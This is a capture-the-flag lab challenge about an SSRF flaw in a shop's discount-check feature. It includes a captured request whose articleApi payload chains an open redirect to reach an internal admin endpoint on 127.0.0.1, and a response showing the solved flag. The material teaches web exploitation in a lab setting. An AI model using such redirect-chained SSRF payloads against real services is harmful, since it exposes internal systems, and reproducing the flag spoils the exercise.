

# 3. New security layers in town! Let's break 'em in and see if they hold up!

Let's see if our security makeover is more than just a fresh coat of paint! Time to poke some holes and find out!

This challenge focuses on the SSRF vulnerability within the check reduction functionality. Despite previous vulnerabilities, we've implemented new security measures. Now, it's time to see if they've done the job.

Your mission is to test the new security layers: Attempt to exploit the SSRF vulnerability with the implementation of new security measures.

- Target Application: [ShopAdmin](#)
- Initial Endpoint: `http://web0x08.hbtn/app4-1/`

Useful instructions:

1. Log into ShopAdmin, it is a shopping website, there is a lot of article.
2. Navigate to Check Reduction Functionality: Explore the feature where the articleApi parameter is utilized.
3. There is New Feature To Navigate Product Now Trying Exploiting The Redirection in That Feature
4. Try Using The New Feature as refer in your payload to Exploit The Vulnerability
5. Pay Attention To Other API Call to Backend Services & Port
6. This App is Forwarded on Port 8080

Request					Response				
Pretty	Raw	Hex			Pretty	Raw	Hex	Render	
1	POST	/app4-1/check-discount	HTTP/1.1		1	HTTP/1.1	200 OK		
2	Host:	web0x08.hbtn			2	Server:	nginx/1.14.2		
3	User-Agent:	Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0			3	Date:	Thu, 28 Nov 2024 20:33:49 GMT		
4	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*; q=0.8			4	Content-Type:	text/html; charset=utf-8		
5	Accept-Language:	en-US,en;q=0.5			5	Content-Length:	84		
6	Accept-Encoding:	gzip, deflate, br			6	Connection:	keep-alive		
7	Content-Type:	application/x-www-form-urlencoded			7	X-Powered-By:	Express		
8	Content-Length:	106			8	ETag:	W/"54-w7Ln5ccr+Ukp6ayq+8uTuUOCvbM"		
9	Origin:	http://web0x08.hbtn			9				
10	Connection:	keep-alive			10	<h1>			
1	Referer:	http://web0x08.hbtn/app4-1/product/3				The goal is achieved, well done. FLAG_3 <a href="#">1b804f8e2ccfd86f9aba9d66fc2ef49d</a>			
2	Upgrade-Insecure-Requests:	1				</h1>			
3	Priority:	u=0, i							
4	articleApi=	http%3A%2F%2Fweb0x08.hbtn%3A8080%2F/app4-1/product/nextProduct?path=http://127.0.0.1:8080/admin							